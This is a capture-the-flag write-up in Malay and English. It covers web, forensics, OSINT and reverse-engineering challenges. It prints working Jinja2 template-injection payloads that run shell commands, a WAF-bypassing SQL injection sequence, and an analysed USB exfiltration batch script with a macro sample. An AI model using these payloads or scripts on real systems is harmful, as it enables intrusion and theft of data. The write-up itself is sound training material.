curl -s -X POST --data-urlencode "name={{ cycler.__init__.__globals__.os.popen(\"cat /tmp/f1.txt\").read() }}" http://5.223.66.228:44347/ | sed -n '/<div class="result-content">/,/<\/div>/{ /div class/d; p }'

Fragment Found: 3108{d4r1_Kud14_Lumpur_k3

Fragment 2: /var/malaysia.txt

curl -s -X POST --data-urlencode "name={{ cycler.__init__.__globals__.os.popen(\"cat /var/malaysia.txt\").read() }}" http://5.223.66.228:44347/ | sed -n '/<div class="result-content">/,/<\/div>/{ /div class/d; p }'

Fragment Found: _p3nt4s_duni4_Alex_Y00ng_

Fragment 3: /usr/1976.txt

curl -s -X POST --data-urlencode "name={{ cycler.__init__.__globals__.os.popen(\"cat /usr/1976.txt\").read() }}" http://5.223.66.228:44347/ | sed -n '/<div class="result-content">/,/<\/div>/{ /div class/d; p }'

Fragment Found: f1rst_M4l4ysi4n_F1_dr1v3r}

Combining all three fragments in the correct order:

Flag: 3108{d4r1_Kud14_Lumpur_k3_p3nt4s_duni4_Alex_Y00ng_f1rst_M4l4ysi4n_F1_dr1v3r}


COMMANDer

Question

Terminal lama ini menyimpan biodata seseorang bersama rahsianya. Namun, rahsia itu hanya akan terbuka kepada mereka yang tahu menggunakan arahan yang tepat. Mampukah anda menguasai terminal ini untuk membongkar kebenaran?

https://komander.bahterasiber.my

Tags: #api-enumeration #javascript-analysis #hidden-functionality #source-code-analysis #endpoint-discovery #security-through-obscurity

Solution

We're presented with a web-based terminal emulator that appears to be a quiz game about "Jeneral (B) Tun Ibrahim Ismail".

The terminal interface presents itself as a simple quiz game with standard commands:

  • mula - Start/Begin

  • bantuan - Help

  • kosongkan - Clear

  • Other basic terminal commands


Source Code

  1. main.js - Main application logic

  2. commands.js - Command handling logic

Upon examining the JavaScript files, several important discoveries were made:

// Key finding in the code structure
if (availableOptions["secret"]) {
    // Special handling for secret commands
}

This indicated that there were hidden "secret" commands not visible in the normal game interface.

The code revealed that the terminal fetched available commands from:

GET /api/pilihan

curl -X GET https://komander.bahterasiber.my/api/pilihan

The API response revealed not just the standard quiz commands, but also hidden secret commands that weren't displayed in the normal terminal interface.

The /api/pilihan endpoint revealed the existence of secret commands, specifically:

RAHSIA: OperationOatmeal

This was the breakthrough moment - realizing that "OperationOatmeal" was likely referring to "Operation Oatmeal", which could be connected to the historical figure mentioned in the challenge.

curl -X POST https://komander.bahterasiber.my/api/check \
  -H "Content-Type: application/json" \
  -d '{"command": "RAHSIA: OperationOatmeal"}'

Flag: 3108{0p3R4T10n_O@Tm34l_1bR4h1M_1sM@1L}


Bendera

Question

Tengah cari bendera ke tuu

https://bendera.bahterasiber.my

Tags: #sql-injection #waf-bypass #mixed-case-bypass #information-schema #union-injection #mysql

Solution

When examining the provided source code, several critical observations were made:

<!-- jawapan: Mohamed bin Hamzah -->
<!-- /config/waf_config.txt -->
<!-- $q = "SELECT * FROM tokoh WHERE nama='$namaTokoh'"; -->
<form method="GET">
    <input type="text" name="cari" placeholder="Cari bendera">
    <input type="submit" value="submit" name="submit">
</form>
  • WAF configuration file hint: /config/waf_config.txt

  • SQL query structure revealed: SELECT * FROM tokoh WHERE nama='$namaTokoh'

  • Search parameter: cari

WAF Configuration Discovery

First step was to check if the WAF configuration was accessible:

curl -s "https://bendera.bahterasiber.my/config/waf_config.txt"
function simple_waf($input) {
    $patterns = [
        '/union/',
        '/select/',
        '/insert/',
        '/update/',
        '/delete/',
        '/drop/',
        '/--/',
        '/\/\*/',
        '/OR/',
        '/UNION/',
        '/SELECT/',
        '/INSERT/',
        '/UPDATE/',
        '/DELETE/',
        '/DROP/',
    ];

    foreach ($patterns as $pattern) {      
        if (preg_match($pattern, $input)) {
            return false;
        }
    }
    return true;
}
  • WAF blocks common SQL injection keywords (both lowercase and uppercase)

  • Blocks SQL comments (-- and /*)

  • Blocks logical operators (OR)

  • Weakness: Only checks exact case matches, not mixed case


SQL Injection Testing

Testing for basic SQL injection with a single quote:

curl -s "https://bendera.bahterasiber.my/?cari=test'&submit=submit"
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax 
to use near ''test''' at line 1 in /var/www/html/index.php:54
  • SQL injection vulnerability confirmed

  • Direct insertion of user input into query

  • MySQL database backend

  • Query breaks with syntax error revealing injection point


WAF Bypass

Since the WAF only checks for exact case matches, the bypass strategy involved:

  • Mixed Case Keywords: UnIoN instead of UNION, SeLeCt instead of SELECT

  • Alternative Comments: # instead of blocked --

  • URL Encoding: When necessary for special characters

Testing UNION injection to determine the number of columns:

# Testing with 5 columns
curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,3,4,5+%23&submit=submit"
# Result: Column count mismatch error

# Testing with 3 columns  
curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,3+%23&submit=submit"
# Result: Success! Output shows "3" in the page

The query returns 3 columns, and the 3rd column is displayed on the webpage.

Database Name Discovery

curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,database()+%23&submit=submit" | grep -A1 -B1 "repeatTextTop"

Result: Database name is bahtera

Table Enumeration

curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,table_name+fRoM+information_schema.tables+wHeRe+table_schema%3d'bahtera'+%23&submit=submit" | grep -A1 "repeatTextTop"

Result: Found table tokoh

Column Enumeration

curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,group_concat(column_name)+fRoM+information_schema.columns+wHeRe+table_name%3d'tokoh'+%23&submit=submit" | grep -A1 "repeatTextTop"

Result: Columns are bendera,id,nama

curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,bendera+fRoM+tokoh+%23&submit=submit" | grep -A1 "repeatTextTop"

Result: Shows Jalur Gemilang (not the flag format)

Complete Data Extraction

curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,group_concat(bendera)+fRoM+tokoh+%23&submit=submit" | grep -A1 "repeatTextTop"

Flag: Jalur Gemilang,3108{d4_jUmP@_b3nD3eR4_k3??}


FH7 (not solved)

Question

Solution


LCW JAGUH DUNIA !! (not solved)

Question

Solution


Forensic

Operation Nyet

Question

Pada suatu hari, ketika Khairul Aming meninggalkan laptopnya tanpa pengawasan, seorang staf menyambungkan USB miliknya ke laptop tersebut dan melakukan sesuatu.

Beberapa saat kemudian, dia mencabut USB itu dan beredar. Tindakannya tidak disedari Khairul Aming, namun sempat diperhatikan oleh seorang rakan sekerja yang berasa curiga.

Beberapa jam kemudian, USB tersebut secara cuai ditinggalkan di atas mejanya. Rakan sekerja itu mengambil USB tersebut kerana ingin mengetahui rahsia di dalamnya.

Kini, tugas anda adalah untuk menyiasat isi kandungan USB tersebut melalui fail imej forensik yang diberikan (.E01).

File Given: USB.E01

Tags: usb-analysis e01-image data-exfiltration base64-decoding batch-script-analysis obfuscation

Solution

Verify file type of the forensic image:

file USB.E01
# Output: USB.E01: EWF/Expert Witness/EnCase image file format

Mounting the E01 Image

  • Use ewfmount from ewf-tools package to access the raw disk image

  • Once mounted, we can analyze the filesystem structure

mkdir -p /tmp/usb_mount
ewfmount USB.E01 /tmp/usb_mount

Analyze filesystem structure:

file /tmp/usb_mount/ewf1
fsstat /tmp/usb_mount/ewf1
  • Filesystem: FAT32

  • Volume Label: "USB DRIVE"

  • OEM Name: MSDOS5.0

  • Total Size: ~15GB

  • Status: Contains allocated clusters indicating files present

File Discovery

  • Use fls to list all files including deleted ones

  • Look for suspicious file names, especially batch scripts or executables

fls /tmp/usb_mount/ewf1
r/r 3:  USB DRIVE   (Volume Label Entry)
d/d 6:  System Volume Information
r/r 9:  USBBackup___.bat          ⚠️ SUSPICIOUS
r/r 10: obf.bat                   ⚠️ SUSPICIOUS  
d/d 12: Kerja
d/d 14: Logs
d/d 16: OperationNyet             ⚠️ SUSPICIOUS
v/v 490995715:  $MBR
v/v 490995716:  $FAT1
v/v 490995717:  $FAT2
V/V 490995718:  $OrphanFiles
  • Two suspicious batch files found: USBBackup___.bat and obf.bat

Extract USBBackup___.bat (inode 9):

icat /tmp/usb_mount/ewf1 9

Analysis of USBBackup___.bat:

@echo off
setlocal EnableDelayedExpansion

set wjdk=set
%wjdk% "userProfile=C:\Users\Aming"
%wjdk% "Loc=%~d0\OperationNyet"

# Obfuscated variable assignments for 'robocopy' command
%wjdk% "a1=r" "a2=o" "a3=b" "a4=o" "a5=c" "a6=o" "a7=p" "a8=y"
%wjdk% "p1=%a1%%a2%" "p2=%a3%%a4%" "p3=%a5%%a6%" "p4=%a7%%a8%"
%wjdk% "rcmd=%p1%%p2%%p3%%p4%"  # = "robocopy"

# Base64 encoded flag components
%wjdk% "xA=MzE" "q7=wOH" "jK=tue" "X4=WV0" "kQ=X25" "Y9=5ZX"
%wjdk% "zn=Rfcm" "P2=Foc2" "LM=lhX2" "vZ=55ZX" "aX=Rfbn" "d3=lldH" "uT=0="

# Concatenate encoded components
%wjdk% "NYET=!xA!!q7!!jK!!X4!!kQ!!Y9!!zn!!P2!!LM!!vZ!!aX!!d3!!uT!"

# Create hidden directory and copy files
mkdir "%Loc%" >nul 2>&1
attrib +h +s "%Loc%" >nul 2>&1
call %rcmd% "%userProfile%" "%Loc%" *.txt *.pdf *.docx *.xlsx *.xls /s /njh /njs /ndl /np /r:0 /w:0 >nul

Extract obf.bat (inode 10):

icat /tmp/usb_mount/ewf1 10
@echo off
# Base64 decoding utility
>"temp.~b64" echo(//4mY2xzDQo=
certutil.exe -f -decode "temp.~b64" "%~n1___%~x1"
del "temp.~b64"
copy "%~n1___%~x1" /b + "%~1" /b
  • The scripts show a clear data exfiltration attack

  • Check the OperationNyet directory for stolen files

fls /tmp/usb_mount/ewf1 16  # OperationNyet directory
r/r 2822: nah tiket.txt
r/r 2826: nasihat by khairul aming.txt
d/d 2829: 30hari_30resepi
d/d 2831: DendengNyet
d/d 2832: R&D
d/d 2834: SambalNyet
icat /tmp/usb_mount/ewf1 2822  # Flight ticket with personal information

The NYET variable in the batch script contains base64 encoded components

Reconstruct the encoded string:

echo -n "MzE" && echo -n "wOH" && echo -n "tue" && echo -n "WV0" && \
echo -n "X25" && echo -n "5ZX" && echo -n "Rfcm" && echo -n "Foc2" && \
echo -n "lhX2" && echo -n "55ZX" && echo -n "Rfbn" && echo -n "lldH" && echo "0="

Result: MzEwOHtueWV0X255ZXRfcmFoc2lhX255ZXRfbnlldH0=

echo "MzEwOHtueWV0X255ZXRfcmFoc2lhX255ZXRfbnlldH0=" | base64 -d

Flag: 3108{nyet_nyet_rahsia_nyet_nyet}


Tok Janggut

Question

Pada tahun 1915, Tok Janggut bangkit menentang penjajahan British di Kelantan. Selepas pertempuran tragis di Pasir Puteh, satu-satunya gambar terakhir beliau disimpan dalam bentuk digital oleh seorang sejarawan moden.

Namun, gambar bersejarah ini telah diubah oleh pihak tidak bertanggungjawab, dipercayai untuk memadam bukti perjuangan beliau.

Sebagai penyiasat forensik, tugas anda adalah untuk membaik pulih fail ini dan mengesan mesej rahsia yang tersembunyi dalam gambar tersebut.

File Given: Tok_Janggut

Tags: forensic file-corruption header-repair jpeg steganography

Solution
# Check file type
file Tok_Janggut
# Output: Tok_Janggut: data

# Check with ExifTool
exiftool Tok_Janggut
ExifTool Version Number         : 13.10
File Name                       : Tok_Janggut
Directory                       : .
File Size                       : 45 kB
File Modification Date/Time     : 2025:08:30 00:31:52+08:00   
File Access Date/Time           : 2025:08:30 00:40:14+08:00   
File Inode Change Date/Time     : 2025:08:30 00:40:14+08:00   
File Permissions                : -rw-r--r--
Warning                         : Processing TIFF-like data after unknown 30-byte header
Exif Byte Order                 : Big-endian (Motorola, MM)   
Orientation                     : Horizontal (normal)
  • ExifTool shows "TIFF-like data after unknown 30-byte header"

  • This suggests the file has a corrupted header but contains valid image data

  • The presence of EXIF data indicates this is likely a JPEG file

Examining File Structure

# Examine hex dump
hexdump -C Tok_Janggut | head -20
00000000  12 34 56 78 90 ab cd ef  49 46 00 01 01 01 00 60  |.4Vx....IF.....`|
00000010  00 60 00 00 ff e1 00 22  45 78 69 66 00 00 4d 4d  |.`....."Exif..MM|
00000020  00 2a 00 00 00 08 00 01  01 12 00 03 00 00 00 01  |.*..............|
00000030  00 01 00 00 00 00 00 00  ff fe 00 3c 43 52 45 41  |...........<CREA|
00000040  54 4f 52 3a 20 67 64 2d  6a 70 65 67 20 76 31 2e  |TOR: gd-jpeg v1.|
  1. Bytes 0-7: 12 34 56 78 90 ab cd ef - Garbage data (corruption)

  2. Bytes 8-9: 49 46 - This should be 54 49 46 46 ("TIFF")

  • First 8 bytes are completely corrupted

  • The TIFF signature is missing "T" characters at the beginning

  • JPEG markers (ff e1, ff db, ff c0, ff c4) are present, confirming this is a JPEG

  • EXIF data is intact

Remove Corrupted Header

# Remove first 8 garbage bytes
dd if=Tok_Janggut of=temp_file bs=1 skip=8
# Create proper JPEG SOI + TIFF signature
printf '\xff\xd8\x54\x49\x46\x46' > fixed_header.bin

# Skip the corrupted "IF" part and get rest of file  
dd if=temp_file of=rest_of_file.bin bs=1 skip=2

# Combine fixed header with rest of file
cat fixed_header.bin rest_of_file.bin > fixed_image.jpg

Once the image is repaired, opening fixed_image.jpg reveals:

  • A portrait drawing of Tok Janggut

  • Red text overlay at the bottom of the image containing the flag

Flag: 3108{TOK_JANGGUT_P3JU4NG_F1N4D}


Perjanjian Pangkor

Question

Tahun 1874 menyaksikan satu titik perubahan besar dalam sejarah Perak — termeterainya Perjanjian Pangkor antara pihak British dan pembesar Melayu. Di sebalik dokumen rasmi, wujud khabar angin bahawa satu komunikasi rahsia turut berlaku antara pihak tertentu, dihantar melalui saluran tersembunyi.

Satu fail .pcap telah ditemui, dipercayai mengandungi serpihan maklumat penting berkaitan detik bersejarah ini. Kandungannya masih belum diketahui, namun ada pihak mendakwa ia menyimpan rahsia yang boleh mengubah tafsiran kita terhadap sejarah yang sedia ada.

Mampukah anda menelusuri jejak-jejak digital dan membongkar kebenaran yang tersembunyi di sebalik arus masa?

File Given: PERJANJIAN_PANGKOR.pcap, Perjanjian Pangkor.txt

Tags: #forensics #pcap-analysis #tshark #wireshark #vba-macros #docm-analysis #strings #zip-extraction #file-carving #malware-analysis #office-documents

Solution

Perjanjian_Pangkor.txt content:

2. Raja _______ dibenarkan memakai gelaran Sultan Muda dan diberikan sebuah jajahan kecil untuk ditadbir

PCAP Analysis with Tshark

# Basic PCAP information
tshark -r PERJANJIAN_PANGKOR.pcap -q -z conv,tcp

# Check for HTTP traffic and file transfers
tshark -r PERJANJIAN_PANGKOR.pcap -Y "http" -T fields -e frame.number -e ip.src -e ip.dst -e http.request.method -e http.request.uri

# Look for file downloads/uploads
tshark -r PERJANJIAN_PANGKOR.pcap -Y "http.content_type contains 'application'" -T fields -e frame.number -e http.content_type -e http.request.uri

# Export HTTP objects
tshark -r PERJANJIAN_PANGKOR.pcap --export-objects http,extracted_objects/
  • HTTP traffic containing file transfers

  • ZIP file download detected in the network stream

  • Extracted files include document.zip

# Extract the ZIP file found in PCAP
unzip document.zip
  • PERJANJIAN PANGKOR.docm - Microsoft Word document with macros

  • Contains VBA macros (indicated by .docm extension)

Since DOCM files are essentially ZIP archives, we can extract their internal structure:

# Copy DOCM as ZIP for analysis
cp "PERJANJIAN PANGKOR.docm" "PERJANJIAN_PANGKOR_analysis.zip"

# List the internal structure
unzip -l "PERJANJIAN_PANGKOR_analysis.zip"
Archive:  PERJANJIAN_PANGKOR_analysis.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     1586  1980-01-01 00:00   [Content_Types].xml
      590  1980-01-01 00:00   _rels/.rels
   343350  1980-01-01 00:00   word/document.xml
     3747  1980-01-01 00:00   word/_rels/document.xml.rels
     7680  1980-01-01 00:00   word/vbaProject.bin    ← VBA MACROS
     8717  1980-01-01 00:00   word/theme/theme1.xml
      277  1980-01-01 00:00   word/_rels/vbaProject.bin.rels
     2794  1980-01-01 00:00   word/vbaData.xml       ← VBA DATA
  • word/vbaProject.bin - Contains VBA macro code

  • word/vbaData.xml - VBA metadata

# Extract the DOCM contents
mkdir docm_analysis
cd docm_analysis
unzip "../PERJANJIAN_PANGKOR_analysis.zip"

# Analyze VBA project using strings
strings word/vbaProject.bin
Hidden flag in comment or as obfuscated string
Nothing to see here...A@2
3108
perjanjian_pangkor_mesej_rahsia
Sub AutoOpen()
Dim f As
8" & Chr (123)
MsgBox "Nothing to see here..."

Flag: 3108{perjanjian_pangkor_mesej_rahsia}


Pemacu Sebuah Negara (not solved)

Question

Solution


Osint

Malayan Heroine

Question

Her husband nickname was “You Loy-De".

3108{the heroine daughter} *replace space with _, all small letter

Solution
  • Google "Her husband nickname was “You Loy-De""

  • Result: Sybil Kathigasu

  • Went on Wikipedia found the list of children's name

  • Flag: 3108{dawn_kathigasu}


Jejak Taman Ilmu

Question

Seorang tokoh wanita Melayu yang menjadi penaung awal pendidikan untuk anak perempuan Melayu di tanah air. Beliau bukan sahaja pejuang kemerdekaan, malah pengasas kepada sebuah institusi pendidikan wanita yang pertama di zamannya. Melalui jejak digital dan sejarah, cari di mana tapak asal kolej itu mula-mula berdiri.

Format Flag: 3108{X.XXX, X.XXX}

File Given: chall.jpg

Solution
  1. Searched "Seorang tokoh wanita Melayu yang menjadi penaung awal pendidikan untuk anak perempuan Melayu di tanah air." in Google Search.

  2. Amongst the suggested links were, Pustaka Ilmu Arkib Negara Malaysia's webpage on Zainon Munshi Sulaiman or Ibu Zain (https://pustakailmu.arkib.gov.my/index.php/ms/pustaka-ilmu/kenali-tokoh/allahyarham-tan-sri-hajah-zainun-bt-munshi-sulaiman-ibu-zain), of which is written "Akhirnya beliau berjaya menubuhkan Kolej Puteri Tunku Ampuan Mariam...".

  3. Searched "Kolej Puteri Tengku Ampuan Mariam koordinat" on Google Search, which showed a Scribd document titled "Kolej Tunku Ampuan Mariam, Johor Bahru, Johor." as the top link (https://www.scribd.com/document/706922852/KOLEJ-TUNKU-AMPUAN-MARIAM-JOHOR-BAHRU-JOHOR) where the coordinates of the college were written as "1.465656, 103.756697".

  4. As the flag format is only up to 3 decimal places, the final flag was written as 3108{1.465, 103.756}

Flag: 3108{1.465, 103.756}


Dim Sum

Question

Lahh dari Malaysia rupanya… Flag dalam channel dia.

Cara Pertama 1:

Gunakan perkakas ini chef! https://ytcomment.kmcat.uk/

Eh jap apa format flag kita eh? --------------------------------------------------------------------

Cara Kedua 2:

Ada cara kedua nak dapatkan flag, tekan channel commenter di gambar.

Solution
  • Google Malaysian Dimsum chef influencer, Top result: Dimsimlim

  • Went to https://ytcomment.kmcat.uk/ and searched Dimsimlim

  • Searched comment 3108

  • Flag: 3108{d1msum_s3d4p_t4p1_m4hal}


Angkasawan

Question

Someone is using the social media handler of the one of the two final candidate of the angkasawan program.

Solution
  • Identified the final candidate for angkasawan program

  • Go to name checkup and searched for @Drfaizkhaled and @Drsheikhmuszaphar

  • Clicked on twitch and search the social media handler

  • Flag: 3108{m4l4ysi4n_4str0n4ut}


Reverse Engineering

Maznah Legacy

Question

Iron Lady? Adakah itu Iron Man versi wanita? 🤔 Ataupun sebenarnya tokoh lain yang cukup terkenal di Malaysia?

Hanya dengan bedah program ini, anda akan tahu kebenarannya disbalik sosok misteri tersebut...

Files Given: output.txt, kunci_diraja

Tags: #RE #Python #Modulo #FlagRecovery

Solution

Open kunci_diraja using Binary Ninja to read the content

Looking at the pseudocode:

for (i = 0; i < 39; i++) {
    printf("%d, ", (input[i] + i + 0x2A) % 0x7F);
}
  • Input length must be 39 characters.

  • For each index i, the program:

    • Adds the ASCII value of input[i] with i and 0x2A (42).

    • Takes modulo 0x7F (127).

    • Compares the result against the target array.

If all values match, the program prints a biography of Ungku Abdul Aziz and exits.


From output.txt:

93, 92, 92, 101, 42, 0, 100, 29, …

This is the expected result of the transformation. Our task is to invert the transformation.


We need to solve:

(input[i] + i + 0x2A) % 0x7F = target[i]

Rearranging:

input[i] = (target[i] - i - 0x2A) mod 0x7F

This gives us the original input characters.


Write a quick Python script:

target = [93, 92, 92, 101, 42, 0, 100, 29, 46, 76, 73, 101, 35, 27, 41, 39, 107, 40, 30, 65, 61, 75, 81, 80, 92, 103, 109, 116, 122, 60, 33, 35, 38, 42, 44, 45, 46, 47, 48]
flag = ""

for i, t in enumerate(target):
    val = (t - i - 0x2A) % 0x7F
    flag += chr(val)

print(flag)

Flag: 3108{P4k_Ungku_Pr0f3s0r_Dir4j4_Ek0n0mi}


Sandiwara Pena

Question

Sebuah karya pena agung kini beralih wajah menjadi baris-baris kod. Setiap bait huruf diselindung menanti untuk dibaca.

Awalnya tampak di sebalik susunan yang teratur. Akhirnya hanya terungkai apabila engkau mengenalinya.

Satukanlah untuk menjadi bendera sebenar.

File Given: sandiwara_pena Tags: #xor #binary-analysis #array-indexing #string-validation

Solution
file sandiwara_pena
sandiwara_pena: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=73875bf2cfda6da27444df518db9eabf4b164ece, 
for GNU/Linux 3.2.0, not stripped
  • 64-bit ELF executable

  • Position Independent Executable (PIE)

  • Not stripped (symbols available)

  • Linux binary

chmod +x sandiwara_pena
./sandiwara_pena
Seorang seniman kata yang menjadikan puisi dan prosa sebagai medan perjuangan.

Sila masukkan bendera (flag): yes

Bendera atau panjang bendera tidak tepat.
  • Binary asks for flag input in Malay: "Please enter the flag"

  • Rejects incorrect input with: "Flag or flag length is not correct"


Analyzing the Disassembly

Open the file using Binary Ninja to read their HLIL (High-Level Intermediate Language)

  1. main() - Entry point and user interaction

  2. pemeriksaan_lapisan() - Flag validation function

  3. ekstrak_modul() - Data extraction function

  4. pengenalan() - Introduction message

From the HLIL analysis (lines 665-691):

int32_t main(int32_t argc, char** argv, char** envp) {
    pengenalan();                           // Print introduction
    puts(str: &data_2057);                 // Print newline
    printf(format: "Sila masukkan bendera (flag): ");
    fflush(fp: __TMC_END__);               // Flush output
    
    void buf;                              // Buffer for input
    if (fgets(&buf, n: 0x64, fp: stdin) == 0)
        return 1;
    
    *(&buf + strcspn(&buf, "\r\n")) = 0;   // Remove newline
    puts(str: &data_2057);
    
    if (strlen(&buf) != 0x1f)              // Check length = 31
        puts(str: "Bendera atau panjang bendera tidak tepat.");
        return 1;
    
    if (pemeriksaan_lapisan(&buf) == 0)    // Validate flag
        puts(str: "Maaf, bendera salah. Cuba lagi.");
    else
        puts(str: "A. Samad Said, yang mesra digelar...");  // Success message
    
    return 0;
}
  • Flag must be exactly 31 characters (0x1f)

  • Main validation happens in pemeriksaan_lapisan()

  • Success message mentions A. Samad Said (Malaysian poet)

From lines 649-663:

int64_t pemeriksaan_lapisan(void* arg1) {
    int32_t var_14 = 0;
    
    while (true) {
        if (var_14 s> 0x1e)          // Loop 31 times (0 to 30)
            return 1;                // Success
        
        if ((*(arg1 + sx.q(var_14)) ^ 0x42) != ekstrak_modul(var_14))
            break;                   // Validation failed
        
        var_14 += 1;                 // Next character
    }
    
    return 0;                        // Failure
}
  • For each character position i (0 to 30):

  • flag[i] XOR 0x42 must equal ekstrak_modul(i)

  • Therefore: flag[i] = ekstrak_modul(i) XOR 0x42

From lines 638-647:

uint64_t ekstrak_modul(int32_t arg1) {
    if (arg1 s<= 9)
        return zx.q(modul_alpha[sx.q(arg1)]);      // Indices 0-9
    
    if (arg1 s> 0x13)                              // arg1 > 19
        return zx.q(*(sx.q(arg1 - 0x14) + &modul_omega));  // Indices 20+
    
    return zx.q(modul_sigma[sx.q(arg1 - 0xa)]);    // Indices 10-19
}

Data Array Logic:

  • Indices 0-9: Use modul_alpha array

  • Indices 10-19: Use modul_sigma array

  • Indices 20+: Use modul_omega array


From the disassembly data section (lines 946-955):

00004040  char modul_alpha[0x5] = "qsrz9"
00004045  12 76 29 1d 11 00 00 00 00 00 00    // Extended alpha data

00004050  char modul_sigma[0x4] = "v/v&"  
00004054  1d 12 71 28 37 76 00 00 00 00 00 00  // Extended sigma data

00004060  modul_omega:
00004060  2c 25 1d 11 76 31 36 71 30 76 3f    // Omega hex bytes

Complete Arrays:

  • modul_alpha: "qsrz9" + [0x12, 0x76, 0x29, 0x1d, 0x11]

  • modul_sigma: "v/v&" + [0x1d, 0x12, 0x71, 0x28, 0x37, 0x76]

  • modul_omega: [0x2c, 0x25, 0x1d, 0x11, 0x76, 0x31, 0x36, 0x71, 0x30, 0x76, 0x3f]


Writing the Solver Script

#!/usr/bin/env python3

def ekstrak_modul(index):
    """
    Recreates the ekstrak_modul function logic:
    - if index <= 9: return modul_alpha[index]
    - if index > 19 (0x13): return modul_omega[index - 20]
    - else: return modul_sigma[index - 10]
    """
    # ASCII values for the arrays
    modul_alpha = [ord(c) for c in "qsrz9"]  # indices 0-9 (but only 5 elements)
    modul_sigma = [ord(c) for c in "v/v&"]   # indices 10-19 (but only 4 elements)
    
    # modul_omega hex bytes: 2c 25 1d 11 76 31 36 71 30 76 3f
    modul_omega = [0x2c, 0x25, 0x1d, 0x11, 0x76, 0x31, 0x36, 0x71, 0x30, 0x76, 0x3f]
    
    if index <= 9:
        if index < len(modul_alpha):
            return modul_alpha[index]
        else:
            # Handle case where index is > 4 but <= 9
            # From hex dump: 12 76 29 1d 11 00 00 00 00 00 00
            extended_alpha = [ord(c) for c in "qsrz9"] + [0x12, 0x76, 0x29, 0x1d, 0x11]
            return extended_alpha[index]
    elif index > 0x13:  # index > 19
        omega_index = index - 0x14  # index - 20
        if omega_index < len(modul_omega):
            return modul_omega[omega_index]
    else:  # 10 <= index <= 19
        sigma_index = index - 0xa  # index - 10
        if sigma_index < len(modul_sigma):
            return modul_sigma[sigma_index]
        else:
            # Handle case where sigma_index >= 4
            # From hex dump: 1d 12 71 28 37 76 00 00 00 00 00 00
            extended_sigma = [ord(c) for c in "v/v&"] + [0x1d, 0x12, 0x71, 0x28, 0x37, 0x76]
            return extended_sigma[sigma_index]
    
    return 0

def solve_flag():
    """
    Solves the flag by reversing the validation logic:
    For each position i (0 to 30):
        flag[i] XOR 0x42 == ekstrak_modul(i)
        Therefore: flag[i] = ekstrak_modul(i) XOR 0x42
    """
    flag = ""
    
    for i in range(31):  # 0x1f = 31 characters
        expected_xor_result = ekstrak_modul(i)
        flag_char = expected_xor_result ^ 0x42
        flag += chr(flag_char)
        print(f"Position {i:2d}: ekstrak_modul({i}) = 0x{expected_xor_result:02x} -> flag[{i}] = chr(0x{flag_char:02x}) = '{chr(flag_char)}'")
    
    return flag

if __name__ == "__main__":
    print("Solving CTF flag...")
    print("=" * 50)
    
    flag = solve_flag()
    
    print("=" * 50)
    print(f"FLAG: {flag}")
    print(f"Length: {len(flag)}")
python3 solve.py
Position  0: ekstrak_modul(0) = 0x71 -> flag[0] = chr(0x33) = '3'
Position  1: ekstrak_modul(1) = 0x73 -> flag[1] = chr(0x31) = '1'
Position  2: ekstrak_modul(2) = 0x72 -> flag[2] = chr(0x30) = '0'
Position  3: ekstrak_modul(3) = 0x7a -> flag[3] = chr(0x38) = '8'
Position  4: ekstrak_modul(4) = 0x39 -> flag[4] = chr(0x7b) = '{'
Position  5: ekstrak_modul(5) = 0x12 -> flag[5] = chr(0x50) = 'P'
Position  6: ekstrak_modul(6) = 0x76 -> flag[6] = chr(0x34) = '4'
Position  7: ekstrak_modul(7) = 0x29 -> flag[7] = chr(0x6b) = 'k'
Position  8: ekstrak_modul(8) = 0x1d -> flag[8] = chr(0x5f) = '_'
Position  9: ekstrak_modul(9) = 0x11 -> flag[9] = chr(0x53) = 'S'
Position 10: ekstrak_modul(10) = 0x76 -> flag[10] = chr(0x34) = '4'
Position 11: ekstrak_modul(11) = 0x2f -> flag[11] = chr(0x6d) = 'm'
Position 12: ekstrak_modul(12) = 0x76 -> flag[12] = chr(0x34) = '4'
Position 13: ekstrak_modul(13) = 0x26 -> flag[13] = chr(0x64) = 'd'
Position 14: ekstrak_modul(14) = 0x1d -> flag[14] = chr(0x5f) = '_'
Position 15: ekstrak_modul(15) = 0x12 -> flag[15] = chr(0x50) = 'P'
Position 16: ekstrak_modul(16) = 0x71 -> flag[16] = chr(0x33) = '3'
Position 17: ekstrak_modul(17) = 0x28 -> flag[17] = chr(0x6a) = 'j'
Position 18: ekstrak_modul(18) = 0x37 -> flag[18] = chr(0x75) = 'u'
Position 19: ekstrak_modul(19) = 0x76 -> flag[19] = chr(0x34) = '4'
Position 20: ekstrak_modul(20) = 0x2c -> flag[20] = chr(0x6e) = 'n'
Position 21: ekstrak_modul(21) = 0x25 -> flag[21] = chr(0x67) = 'g'
Position 22: ekstrak_modul(22) = 0x1d -> flag[22] = chr(0x5f) = '_'
Position 23: ekstrak_modul(23) = 0x11 -> flag[23] = chr(0x53) = 'S'
Position 24: ekstrak_modul(24) = 0x76 -> flag[24] = chr(0x34) = '4'
Position 25: ekstrak_modul(25) = 0x31 -> flag[25] = chr(0x73) = 's'
Position 26: ekstrak_modul(26) = 0x36 -> flag[26] = chr(0x74) = 't'
Position 27: ekstrak_modul(27) = 0x71 -> flag[27] = chr(0x33) = '3'
Position 28: ekstrak_modul(28) = 0x30 -> flag[28] = chr(0x72) = 'r'
Position 29: ekstrak_modul(29) = 0x76 -> flag[29] = chr(0x34) = '4'
Position 30: ekstrak_modul(30) = 0x3f -> flag[30] = chr(0x7d) = '}'

FLAG: 3108{P4k_S4m4d_P3ju4ng_S4st3r4}
Length: 31

Flag: 3108{P4k_S4m4d_P3ju4ng_S4st3r4}


Kunci Diraja

Question

